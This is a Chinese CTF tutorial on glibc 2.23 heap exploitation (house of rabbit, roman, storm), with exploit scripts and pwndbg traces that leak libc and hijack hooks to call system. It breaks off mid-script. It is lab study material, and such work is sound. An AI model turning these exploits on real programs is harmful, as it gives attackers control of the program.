【pwn4heap】glibc2.23其四
在CTF竞赛体系中,pwn类题目因其直接关联底层系统安全机制,常被视为核心挑战方向。其中,堆利用技术涉及动态内存管理的复杂交互,是突破现代软件防御体系的关键路径之一。本系列聚焦于glibc 2.23环境下的堆漏洞利用方法,该版本因其广泛存在与典型性,成为相关研究的常见基础。通过系统分析与归纳,本系列整理出约43种利用技术,涵盖从基础结构破坏到高级组合利用的多种场景,旨在为后续学习、教学与实践提供结构化的参考。笔者期望借此推动该领域的技术积累与方法论沉淀,促进安全研究社区的交流与进步。
1. glibc2.23
1-18 house of rabbit
本方法利用glibc对于malloc_consolidate管理缺陷而实现恶意操作。相关glibc完整源码参见malloc.c
/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/
if (get_max_fast () != 0) {
clear_fastchunks(av);
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd; <= bug
/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
在glibc 2.23版本中,malloc_consolidate的合并路径存在验证机制缺陷,具体表现为基本上未对p->fd做任何限制。通过精心构造的p->fd,致使nextp转移到unsorted bin里,从而实现任意地址操作。
测试的二进制源码参考binary.c,相关exoloit.py完整内容可见exploit.py。
核心利用代码如下:
conn.sendafter(b"Enter author name: ", b"A" * 0x8)
conn.sendafter(b"Enter introduction: ", b"A" * 0x8)
# house of rabbit
malloc(0, 0xA00000, b"A" * 0x8)
delete(0)
malloc(0, 0xA00000, b"A" * 0x8)
delete(0)
malloc(1, 0x10, b"B" * 0x8)
malloc(2, 0x80, b"C" * 0x8)
delete(1)
payload = p64(0) + p64(0x11) + p64(0) + p64(0xFFFFFFFFFFFFFFF1)
change_profile(p64(0), payload)
edit(1, 0x8, p64(0x004040E0 + 0x10))
delete(2)
payload = p64(0xFFFFFFFFFFFFFFF0) + p64(0x10) + p64(0) + p64(0xA00001)
change_profile(p64(0), payload)
malloc(3, 0xA00000, b"D" * 0x8)
payload = p64(0xFFFFFFFFFFFFFFF0) + p64(0x10) + p64(0) + p64(0xFFFFFFFFFFFFFFF1)
change_profile(p64(0), payload)
evil_size = 0x00404120 - (0x004040E0 + 0x10) - 0x20
malloc(4, evil_size, p64(0))
payload = b"\x00" * 0x30 + p64(0) + p64(0x30)
change_profile(p64(0), payload)
malloc(5, 0x28, b"F" * 0x8)
# unsorted bin leak
author_name, introduction, content = show(5)
main_arena88 = u64(content[8 : 8 + 6].ljust(8, b"\x00"))
log.info(f"main_arena+88: {hex(main_arena88)}")
libc.address = main_arena88 - 0x38DB78
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system addr: {hex(libc.sym['system'])}")
binsh_addr = next(libc.search(b"/bin/sh"))
log.info(f"binsh addr: {hex(binsh_addr)}")
# final exploit
payload = p64(0x20) + p64(0x00404000)
payload += p64(0x20) + p64(binsh_addr)
edit(5, len(payload), payload)
edit(0, 0x8, p64(libc.sym["system"]))
delete(1)
cmd = b"cat src/2.23/house_of_rabbit/flag\x00"
conn.sendline(cmd)
flag = conn.recvline().decode().strip()
log.success(f"flag: {format_flag(flag)}")
通过连续两次执行分配与释放指定大小的内存块操作,可以有效扩展main_arena结构体中system_mem字段的数值。具体而言,每次操作包括分配一个大小为0xA00000字节的内存块,并随后立即释放该内存块。重复此过程两次,旨在实现对内存分配器内部状态的调整,以增大system_mem的计数。
pwndbg> p/x main_arena->system_mem
$1 = 0xa21000
pwndbg>
在glibc的ptmalloc2分配器中,刻意增大main_arena->system_mem值的主要目的,是为了在合并非 mmap内存块时,绕过一项关键的完整性验证。相关glibc完整源码参见malloc.c
nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0)) <= check
{
errstr = "free(): invalid next size (normal)";
goto errout;
}
完成增大main_arena->system_mem值之后,准备制作出来fast bin。
pwndbg> fastbins
fastbins
0x20: 0xfec7000 ◂— 0
pwndbg>
接着准备伪造fake chunk1和fake chunk2,使得fake chunk1->prev = fake chunk2,fake chunk2->next = fake chunk1。
pwndbg> x/8gx profile.introduction
0x4040e0 <profile+32>: 0x0000000000000000 0x0000000000000011 <= fake chunk1
0x4040f0 <profile+48>: 0x0000000000000000 0xfffffffffffffff1 <= fake chunk2
0x404100 <profile+64>: 0x0000000000000000 0x0000000000000000
0x404110 <profile+80>: 0x0000000000000000 0x0000000000000000
pwndbg>
修改fastbins里0xfec7000的fd为fake chunk2。
pwndbg> fastbins
fastbins
0x20: 0xfec7000 —▸ 0x4040f0 (profile+48) ◂— 0
pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0xfec7000
Size: 0x20 (with flag bits: 0x21)
fd: 0x4040f0
Allocated chunk | PREV_INUSE
Addr: 0xfec7020
Size: 0x90 (with flag bits: 0x91)
Top chunk | PREV_INUSE
Addr: 0xfec70b0
Size: 0xa20f50 (with flag bits: 0xa20f51)
pwndbg>
接着释放chunks2,由于chunks[2]与top-chunk相邻,按照free相关规则,chunks[2]将会合并到top-chunk里。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3886
3880
3881 /*
3882 If eligible, place chunk on a fastbin so it can be found
3883 and used quickly in malloc.
3884 */
3885
► 3886 if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
pwndbg> p/x size
$2 = 0x90
由于chunks[2]->size大于get_max_fast,进入else分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3961
3955 }
3956
3957 /*
3958 Consolidate other non-mmapped chunks as they arrive.
3959 */
3960
► 3961 else if (!chunk_is_mmapped(p)) {
3962 if (! have_lock) {
3963 (void)mutex_lock(&av->mutex);
3964 locked = 1;
3965 }
3966
3967 nextchunk = chunk_at_offset(p, size);
接着遇到关于av->system_mem的关键校验。由于最开始增加了av->system_mem的尺寸,顺利通过这个校验。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3993
3987 errstr = "double free or corruption (!prev)";
3988 goto errout;
3989 }
3990
3991 nextsize = chunksize(nextchunk);
3992 if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
► 3993 || __builtin_expect (nextsize >= av->system_mem, 0))
3994 {
3995 errstr = "free(): invalid next size (normal)";
3996 goto errout;
3997 }
pwndbg> p/x nextsize
$3 = 0xa20f50
pwndbg> p/x av->system_mem
$4 = 0xa21000
pwndbg> top-chunk
Top chunk | PREV_INUSE
Addr: 0xfec70b0
Size: 0xa20f50 (with flag bits: 0xa20f51)
pwndbg>
然后,开始准备进入malloc_consolidate函数,即将整理fast bin里的chunk。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4074
4068 has been reached unless fastbins are consolidated. But we
4069 don't want to consolidate on each free. As a compromise,
4070 consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
4071 is reached.
4072 */
4073
► 4074 if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
4075 if (have_fastchunks(av))
4076 malloc_consolidate(av);
首先,进入一个0x48次的大循环。依次整理每个fast bin的槽位。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4161
4155 reused anyway.
4156 */
4157
4158 maxfb = &fastbin (av, NFASTBINS - 1);
4159 fb = &fastbin (av, 0);
4160 do {
► 4161 p = atomic_exchange_acq (fb, 0);
4162 if (p != 0) {
4163 do {
4164 check_inuse_chunk(av, p);
4165 nextp = p->fd;
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4165
4159 fb = &fastbin (av, 0);
4160 do {
4161 p = atomic_exchange_acq (fb, 0);
4162 if (p != 0) {
4163 do {
4164 check_inuse_chunk(av, p);
► 4165 nextp = p->fd;
pwndbg> p/x p
$8 = 0xfec7000
pwndbg> p/x p->fd
$9 = 0x4040f0
pwndbg>
可以发现0x4040f0即为伪造的fake chunk2。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4179
4173 prevsize = p->prev_size;
4174 size += prevsize;
4175 p = chunk_at_offset(p, -((long) prevsize));
4176 unlink(av, p, bck, fwd);
4177 }
4178
► 4179 if (nextchunk != av->top) {
pwndbg> p/x nextchunk
$12 = 0xfec7020
pwndbg> top-chunk
Top chunk | PREV_INUSE
Addr: 0xfec7020
Size: 0xa20fe0 (with flag bits: 0xa20fe1)
pwndbg>
由于nextchunk就是top-chunk,进入else分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4206
4200 set_foot(p, size);
4201 }
4202
4203 else {
4204 size += nextsize;
4205 set_head(p, size | PREV_INUSE);
► 4206 av->top = p;
4207 }
4208
4209 } while ( (p = nextp) != 0);
4210
4211 }
4212 } while (fb++ != maxfb);
pwndbg> p/x nextp
$13 = 0x4040f0
pwndbg>
于是,将p与top-chunk合并。接着,进入第二轮循环。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4165
4159 fb = &fastbin (av, 0);
4160 do {
4161 p = atomic_exchange_acq (fb, 0);
4162 if (p != 0) {
4163 do {
4164 check_inuse_chunk(av, p);
► 4165 nextp = p->fd;
pwndbg> p/x p
$14 = 0x4040f0
pwndbg> p/x p->fd
$15 = 0x0
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4172
4166
4167 /* Slightly streamlined version of consolidation code in free() */
4168 size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
4169 nextchunk = chunk_at_offset(p, size);
4170 nextsize = chunksize(nextchunk);
4171
► 4172 if (!prev_inuse(p)) {
pwndbg> p/x size
$16 = 0xfffffffffffffff0
pwndbg> p/x nextchunk
$17 = 0x4040e0
pwndbg> p/x nextsize
$18 = 0x10
pwndbg> x/4gx 0x4040e0
0x4040e0 <profile+32>: 0x0000000000000000 0x0000000000000011 <= fake chunk1
0x4040f0 <profile+48>: 0x0000000000000000 0xfffffffffffffff1 <= fake chunk2
pwndbg>
这里可直观的看到fake chunk2->next = fake chunk1。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4179
4173 prevsize = p->prev_size;
4174 size += prevsize;
4175 p = chunk_at_offset(p, -((long) prevsize));
4176 unlink(av, p, bck, fwd);
4177 }
4178
► 4179 if (nextchunk != av->top) {
4180 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
pwndbg> p/x nextchunk
$20 = 0x4040e0
pwndbg> top-chunk
Top chunk | PREV_INUSE
Addr: 0xfec7000
Size: 0xa21000 (with flag bits: 0xa21001)
pwndbg>
由于nextchunk不等于top-chunk,进入该分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4188
4182 if (!nextinuse) {
4183 size += nextsize;
4184 unlink(av, nextchunk, bck, fwd);
4185 } else
4186 clear_inuse_bit_at_offset(nextchunk, 0);
4187
► 4188 first_unsorted = unsorted_bin->fd;
4189 unsorted_bin->fd = p;
4190 first_unsorted->bk = p;
4191
4192 if (!in_smallbin_range (size)) {
4193 p->fd_nextsize = NULL;
4194 p->bk_nextsize = NULL;
4195 }
4196
4197 set_head(p, size | PREV_INUSE);
4198 p->bk = unsorted_bin;
4199 p->fd = first_unsorted;
4200 set_foot(p, size);
可以明显看出来fake chunk2即将进入unsorted bin里。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:4209
4203 else {
4204 size += nextsize;
4205 set_head(p, size | PREV_INUSE);
4206 av->top = p;
4207 }
4208
► 4209 } while ( (p = nextp) != 0);
4210
4211 }
4212 } while (fb++ != maxfb);
pwndbg> unsortedbin
unsortedbin
all: 0x4040f0 (profile+48) —▸ 0x7bf40a58db78 (main_arena+88) ◂— 0x4040f0 (profile+48)
pwndbg> x/8gx profile.introduction
0x4040e0 <profile+32>: 0xfffffffffffffff0 0x0000000000000010 <= fake chunk1
0x4040f0 <profile+48>: 0x0000000000000000 0xfffffffffffffff1 <= fake chunk2
0x404100 <profile+64>: 0x00007bf40a58db78 0x00007bf40a58db78
0x404110 <profile+80>: 0x0000000000000000 0x0000000000000000
pwndbg>
至此,实现了将指定地址送入unsorted bin。接着缩小fake chunk2->size至0xA00001。
pwndbg> x/8gx profile.introduction
0x4040e0 <profile+32>: 0xfffffffffffffff0 0x0000000000000010 <= fake chunk1
0x4040f0 <profile+48>: 0x0000000000000000 0x0000000000a00001 <= fake chunk2
0x404100 <profile+64>: 0x00007bf40a58db78 0x00007bf40a58db78
0x404110 <profile+80>: 0x0000000000000000 0x0000000000000000
pwndbg> unsortedbin
unsortedbin
all: 0x4040f0 (profile+48) —▸ 0x7bf40a58db78 (main_arena+88) ◂— 0x4040f0 (profile+48)
pwndbg>
申请0xA00000大小的chunks[3],将fake chunk2移至largebins。
pwndbg> largebins
largebins
0x80000-∞: 0x4040f0 (profile+48) —▸ 0x7bf40a58e348 (main_arena+2088) ◂— 0x4040f0 (profile+48)
pwndbg> x/8gx profile.introduction
0x4040e0 <profile+32>: 0xfffffffffffffff0 0x0000000000000010 <= fake chunk1
0x4040f0 <profile+48>: 0x0000000000000000 0x0000000000a00001 <= fake chunk2
0x404100 <profile+64>: 0x00007bf40a58e348 0x00007bf40a58e348
0x404110 <profile+80>: 0x00000000004040f0 0x00000000004040f0
pwndbg>
此时,再将fake chunk2->size还原至0xfffffffffffffff1。
pwndbg> largebins
largebins
0x80000-∞: 0x4040f0 (profile+48) —▸ 0x7bf40a58e348 (main_arena+2088) ◂— 0x4040f0 (profile+48)
pwndbg> x/8gx profile.introduction
0x4040e0 <profile+32>: 0xfffffffffffffff0 0x0000000000000010 <= fake chunk1
0x4040f0 <profile+48>: 0x0000000000000000 0xfffffffffffffff1 <= fake chunk2
0x404100 <profile+64>: 0x00007bf40a58e348 0x00007bf40a58e348
0x404110 <profile+80>: 0x00000000004040f0 0x00000000004040f0
pwndbg>
使用公式计算evil_size = target - fake chunk2 - 0x20作为此处的申请大小。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3368
3362 /*
3363 If the size qualifies as a fastbin, first check corresponding bin.
3364 This code is safe to execute even if av is not yet initialized, so we
3365 can try it without checking, which saves some time on this fast path.
3366 */
3367
► 3368 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
3369 {
pwndbg> p/x nb
$23 = 0x20
此次申请大小位于fast bin,进入fast bin相关分支。由于fast bin此时并没有chunk可供用户使用,继续进入small bin相关逻辑分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3407
3401 processed to find best fit. But for small ones, fits are exact
3402 anyway, so we can check now, which is faster.)
3403 */
3404
3405 if (in_smallbin_range (nb))
3406 {
► 3407 idx = smallbin_index (nb);
3408 bin = bin_at (av, idx);
同样的原因,继续进入unsorted bin相关逻辑分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3720
3714 bin = next_bin (bin);
3715 bit <<= 1;
3716 }
3717
3718 else
3719 {
► 3720 size = chunksize (victim);
3721
3722 /* We know the first chunk in this bin is big enough to use. */
3723 assert ((unsigned long) (size) >= (unsigned long) (nb));
pwndbg> p/x victim
$31 = 0x4040f0
pwndbg> p/x victim->size
$32 = 0xfffffffffffffff1
pwndbg>
最终进入largebins相关分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3728
3722 /* We know the first chunk in this bin is big enough to use. */
3723 assert ((unsigned long) (size) >= (unsigned long) (nb));
3724
3725 remainder_size = size - nb;
3726
3727 /* unlink */
► 3728 unlink (av, victim, bck, fwd);
pwndbg> largebins
largebins
0x80000-∞: 0x4040f0 (profile+48) —▸ 0x7bf40a58e348 (main_arena+2088) ◂— 0x4040f0 (profile+48)
pwndbg> p/x victim
$33 = 0x4040f0
pwndbg>
将victim从large bin里提取出来,并切割为两部分,一份放置unsorted bin,另一部分返回用户。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3758
3752 remainder->bk = bck;
3753 remainder->fd = fwd;
3754 bck->fd = remainder;
3755 fwd->bk = remainder;
3756
3757 /* advertise as last remainder */
► 3758 if (in_smallbin_range (nb))
pwndbg> unsortedbin
unsortedbin
all: 0x404110 (profile+80) —▸ 0x7bf40a58db78 (main_arena+88) ◂— 0x404110 (profile+80)
pwndbg> x/10gx chunks
0x404120 <chunks>: 0x00007bf40a58db78 0x00007bf40a58db78
0x404130 <chunks+16>: 0x0000000000000000 0x0000000000000000
0x404140 <chunks+32>: 0x0000000000000080 0x000000000fec7030
0x404150 <chunks+48>: 0x0000000000a00000 0x000000000fec7010
0x404160 <chunks+64>: 0x0000000000000010 0x0000000000404100
pwndbg> x/4gx 0x404110
0x404110 <profile+80>: 0x00000000004040f0 0xffffffffffffffd1
0x404120 <chunks>: 0x00007bf40a58db78 0x00007bf40a58db78
pwndbg>
虽然chunks[4]已经获取.bss上的控制权,但是其size实在是太小,无法支持复杂操作。由于0x404110已经落入unsorted bin,只需再次申请即可。 为了避免出现访问违例内存错误,需要缩小0x404110的size为合适的值,
pwndbg> x/4gx 0x404110
0x404110 <profile+80>: 0x0000000000000000 0x0000000000000030
0x404120 <chunks>: 0x00007bf40a58db78 0x00007bf40a58db78
pwndbg> unsortedbin
unsortedbin
all: 0x404110 (profile+80) —▸ 0x7bf40a58db78 (main_arena+88) ◂— 0x404110 (profile+80)
pwndbg>
最后,申请chunks[5]将0x404110从unsortedbin提取出来。这样不仅可以获取libc地址,也获取了.bss的控制权。
1-19 house of roman
本方法为fast bin attack和unsorted bin attack的组合技,二者核心原理参考glibc2.23其一,此处不在赘述。
测试的二进制源码参考binary.c,相关exoloit.py完整内容可见exploit.py。
核心利用代码如下:
conn.sendafter(b"Enter author name: ", b"A" * 0x8)
conn.sendafter(b"Enter introduction: ", b"A" * 0x8)
# house of roman
malloc(0, 0x60) # fastbin_victim
malloc(1, 0x80)
malloc(2, 0x80) # main_arena_use
malloc(3, 0x60) # relative_offset_heap
delete(2)
malloc(4, 0x60) # fake_libc_chunk
delete(3)
delete(0)
edit(0, b"\x00")
__realloc_hook_adjust = 0xE385
byte1 = (__realloc_hook_adjust) & 0xFF
byte2 = (__realloc_hook_adjust & 0xFF00) >> 8
edit(4, p8(byte1) + p8(byte2))
malloc(5, 0x60)
malloc(6, 0x60)
malloc(7, 0x60) # realloc_hook_chunk
edit(5, b"/bin/sh\x00")
malloc(8, 0x80) # unsorted_bin_ptr
malloc(9, 0x30)
delete(8)
__realloc_hook_adjust = 0xE3A8
byte1 = (__realloc_hook_adjust) & 0xFF
byte2 = (__realloc_hook_adjust & 0xFF00) >> 8
payload = p64(0) + p8(byte1) + p8(byte2)
edit(8, payload)
malloc(10, 0x80)
# b"\xeb\xc3\x{x}3", {x} need to brute force at least 0x10 times
payload = b"\x00" * (0x33 - 0x10) + b"\xeb\xc3\x03"
edit(7, payload)
# pwndbg> x/4gx 0x7714d858e3b8-0x10
# 0x7714d858e3a8 <main_arena+2184>: 0x0000000000000000 0x0000000000000000
# 0x7714d858e3b8 <__realloc_hook>: 0x00007714d803c3eb 0x00007714d8270c7b
# pwndbg>
conn.sendlineafter(b"> ", b"3")
conn.sendlineafter(b"Please input the chunk index: ", b"5")
conn.sendlineafter(b"Please input the size: ", str(0x20).encode())
try:
cmd = b"cat src/2.23/house_of_roman/flag\x00"
conn.sendline(cmd)
flag = conn.recvline().decode().strip()
log.success(f"flag: {format_flag(flag)}")
conn.interactive()
except:
conn.close()
首先申请chunks[0]、chunks[1]、chunks[2]、chunks[3]之后,heap内存结构布局如下:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f000
Size: 0x70 (with flag bits: 0x71)
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f070
Size: 0x90 (with flag bits: 0x91)
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f100
Size: 0x90 (with flag bits: 0x91)
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f190
Size: 0x70 (with flag bits: 0x71)
Top chunk | PREV_INUSE
Addr: 0x5d3eb5f3f200
Size: 0x20e00 (with flag bits: 0x20e01)
pwndbg>
然后,释放chunks[2]至unsorted bin里。
pwndbg> unsortedbin
unsortedbin
all: 0x5d3eb5f3f100 —▸ 0x7208ab98db78 (main_arena+88) ◂— 0x5d3eb5f3f100
pwndbg>
接着申请chunks[4]大小内存,unsortedbin被切割两部分:一部分返回用户,一部分留在unsortedbin。
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f000
Size: 0x70 (with flag bits: 0x71)
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f070
Size: 0x90 (with flag bits: 0x91)
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f100
Size: 0x70 (with flag bits: 0x71)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5d3eb5f3f170
Size: 0x20 (with flag bits: 0x21)
fd: 0x7208ab98db78
bk: 0x7208ab98db78
Allocated chunk
Addr: 0x5d3eb5f3f190
Size: 0x70 (with flag bits: 0x70)
Top chunk | PREV_INUSE
Addr: 0x5d3eb5f3f200
Size: 0x20e00 (with flag bits: 0x20e01)
pwndbg> unsortedbin
unsortedbin
all: 0x5d3eb5f3f170 —▸ 0x7208ab98db78 (main_arena+88) ◂— 0x5d3eb5f3f170
pwndbg> x/4gx 0x5d3eb5f3f100
0x5d3eb5f3f100: 0x0000000000000000 0x0000000000000071
0x5d3eb5f3f110: 0x00007208ab98dbf8 0x00007208ab98dbf8
pwndbg> x/1gx 0x00007208ab98dbf8
0x7208ab98dbf8 <main_arena+216>: 0x00007208ab98dbe8
pwndbg>
可以发现chunks[4]内保存着libc的地址。接着连续释放chunks[3]和chunks[0]用来制作fast bin。
pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5d3eb5f3f000
Size: 0x70 (with flag bits: 0x71)
fd: 0x5d3eb5f3f190
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f070
Size: 0x90 (with flag bits: 0x91)
Allocated chunk | PREV_INUSE
Addr: 0x5d3eb5f3f100
Size: 0x70 (with flag bits: 0x71)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5d3eb5f3f170
Size: 0x20 (with flag bits: 0x21)
fd: 0x7208ab98db78
bk: 0x7208ab98db78
Free chunk (fastbins)
Addr: 0x5d3eb5f3f190
Size: 0x70 (with flag bits: 0x70)
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x5d3eb5f3f200
Size: 0x20e00 (with flag bits: 0x20e01)
pwndbg> fastbins
fastbins
0x70: 0x5d3eb5f3f000 —▸ 0x5d3eb5f3f190 ◂— 0
pwndbg>
此时,使用off-by-one技术,将0x5d3eb5f3f190修改为0x5d3eb5f3f100,而0x5d3eb5f3f100正好为chunks[4]控制的区域。
pwndbg> fastbins
fastbins
0x70: 0x5d3eb5f3f000 —▸ 0x5d3eb5f3f100 —▸ 0x7208ab98dbf8 (main_arena+216) ◂— 0x7208ab98dbf8 (main_arena+216)
pwndbg> p/x chunks[4]
$1 = {
size = 0x60,
addr = 0x5d3eb5f3f110
}
pwndbg>
此时fast bin由原来的两个chunk增加到三个chunk。而第三个chunk的位置可以通过chunks[4]来操作。
pwndbg> fastbins
fastbins
0x70: 0x5d3eb5f3f000 —▸ 0x5d3eb5f3f100 —▸ 0x7208ab98e385 (main_arena+2149) ◂— 0x1000000
pwndbg> x/8gx 0x7208ab98e385
0x7208ab98e385 <main_arena+2149>: 0x08ab98db20000000 0x0000000000000072
0x7208ab98e395 <main_arena+2165>: 0x0000000001000000 0x0000021000000000
0x7208ab98e3a5 <main_arena+2181>: 0x0000021000000000 0x0000000000000000
0x7208ab98e3b5 <__malloc_hook+5>: 0x08ab670c31000000 0x08ab670c7b000072
pwndbg> p/x &__realloc_hook
$2 = 0x7208ab98e3b8
pwndbg> p/x 0x7208ab98e3b8-0x7208ab98e385
$3 = 0x33
pwndbg>
通过__realloc_hook_adjust修正2个字节,使其正好位于__realloc_hook附近。只要连续申请三次,就可以获取__realloc_hook的控制权了。
pwndbg> fastbins
fastbins
0x70: 0x1000000
pwndbg> x/16gx chunks
0x5d3e95d900c0 <chunks>: 0x0000000000000060 0x00005d3eb5f3f010
0x5d3e95d900d0 <chunks+16>: 0x0000000000000080 0x00005d3eb5f3f080
0x5d3e95d900e0 <chunks+32>: 0x0000000000000080 0x00005d3eb5f3f110
0x5d3e95d900f0 <chunks+48>: 0x0000000000000060 0x00005d3eb5f3f1a0
0x5d3e95d90100 <chunks+64>: 0x0000000000000060 0x00005d3eb5f3f110
0x5d3e95d90110 <chunks+80>: 0x0000000000000060 0x00005d3eb5f3f010
0x5d3e95d90120 <chunks+96>: 0x0000000000000060 0x00005d3eb5f3f110
0x5d3e95d90130 <chunks+112>: 0x0000000000000060 0x00007208ab98e395
pwndbg>
在chunks[5]内布局/bin/sh\x00,为后续利用做好准备。接着申请chunks[8]和chunks[9],然后释放chunks[8]用来制作unsorted bin。
pwndbg> unsortedbin
unsortedbin
all: 0x5d3eb5f3f200 —▸ 0x7208ab98db78 (main_arena+88) ◂— 0x5d3eb5f3f200
pwndbg> p/x chunks[8]
$4 = {
size = 0x80,
addr = 0x5d3eb5f3f210
}
pwndbg>
修改bk为__realloc_hook-0x10,利用unsorted bin attack技术,将__realloc_hook修改为libc的地址。
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x5d3eb5f3f200 ◂— 0
BK: 0x5d3eb5f3f200 —▸ 0x7208ab98e3a8 (main_arena+2184) —▸ 0x7208ab670c7b (memalign_hook_ini) ◂— ret 0x31
pwndbg> x/4gx 0x5d3eb5f3f200
0x5d3eb5f3f200: 0x0000000000000000 0x0000000000000091
0x5d3eb5f3f210: 0x0000000000000000 0x00007208ab98e3a8
pwndbg> x/4gx 0x7208ab98e3a8
0x7208ab98e3a8 <main_arena+2184>: 0x0000000000021000 0x0000000000000000
0x7208ab98e3b8 <__realloc_hook>: 0x00007208ab670c31 0x00007208ab670c7b
pwndbg>
申请chunks[10]触发unsorted bin attack。
pwndbg> x/4gx 0x7208ab98e3a8
0x7208ab98e3a8 <main_arena+2184>: 0x0000000000021000 0x0000000000000000
0x7208ab98e3b8 <__realloc_hook>: 0x00007208ab98db78 0x00007208ab670c7b
pwndbg> p/x &system
$6 = 0x7208ab63c3eb
pwndbg> p/x chunks[7]
$8 = {
size = 0x60,
addr = 0x7208ab98e395
}
pwndbg>
可以发现__realloc_hook成功修改为0x00007208ab98db78了。而libc的system与0x00007208ab98db78地址差值固定。 通过chunks[7]修改__realloc_hook里3个字节内容,使其变为system地址。以b"\xeb\xc3\x{x}3"为例, {x} 需要暴力破解0x10次左右。
1-20 house of storm
本方法为unsorted bin attack和large bin attack的组合技,二者核心原理参考glibc2.23其一与glibc2.23其二,此处不在赘述。
测试的二进制源码参考binary.c,相关exoloit.py完整内容可见exploit.py。
核心利用代码如下:
conn.sendafter(b"Enter author name: ", b"A" * 0x8)
conn.sendafter(b"Enter introduction: ", b"A" * 0x8)
# house of storm
malloc(0, 0x4E8, b"A" * 0x8) # unsorted_bin
malloc(1, 0x18, b"B" * 0x8)
malloc(2, 0x4D8, b"C" * 0x8) # large_bin
malloc(3, 0x18, b"D" * 0x8)
delete(2)
delete(0)
malloc(0, 0x4E8, b"A" * 0x8) # unsorted_bin
author_name, introduction, content = show(0)
main_arena88 = u64(content[8 : 8 + 6].ljust(8, b"\x00"))
log.info(f"main_arena+88: {hex(main_arena88)}")
main_arena1144 = main_arena88 + 0x420
log.info(f"main_arena+1144: {hex(main_arena1144)}")
libc.address = main_arena88 - 0x38DB78
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system addr: {hex(libc.sym['system'])}")
binsh_addr = next(libc.search(b"/bin/sh"))
log.info(f"binsh addr: {hex(binsh_addr)}")
edit(2, 0x10, b"C" * 0x10)
author_name, introduction, content = show(2)
chunk2_addr = u64(content[0x10 : 0x10 + 6].ljust(8, b"\x00"))
log.info(f"chunk2 addr: {hex(chunk2_addr)}")
edit(2, 0x10, p64(main_arena1144) * 2)
delete(0)
fake_chunk = libc.sym["__realloc_hook"] - 0x10
payload = p64(main_arena88) + p64(fake_chunk)
edit(0, len(payload), payload)
payload = p64(main_arena1144) + p64(fake_chunk + 0x8)
payload += p64(chunk2_addr) + p64(fake_chunk - 0x18 - 0x5)
edit(2, len(payload), payload)
evil_size = ((chunk2_addr >> 0x28) & 0xFFFFFFFFE) - 0x10
log.info(f"evil size: {hex(evil_size)}")
malloc(4, evil_size, b"\x00")
edit(4, 0x8, p64(libc.sym["system"]))
edit(0, 0x8, b"/bin/sh\x00")
conn.sendlineafter(b"> ", b"3")
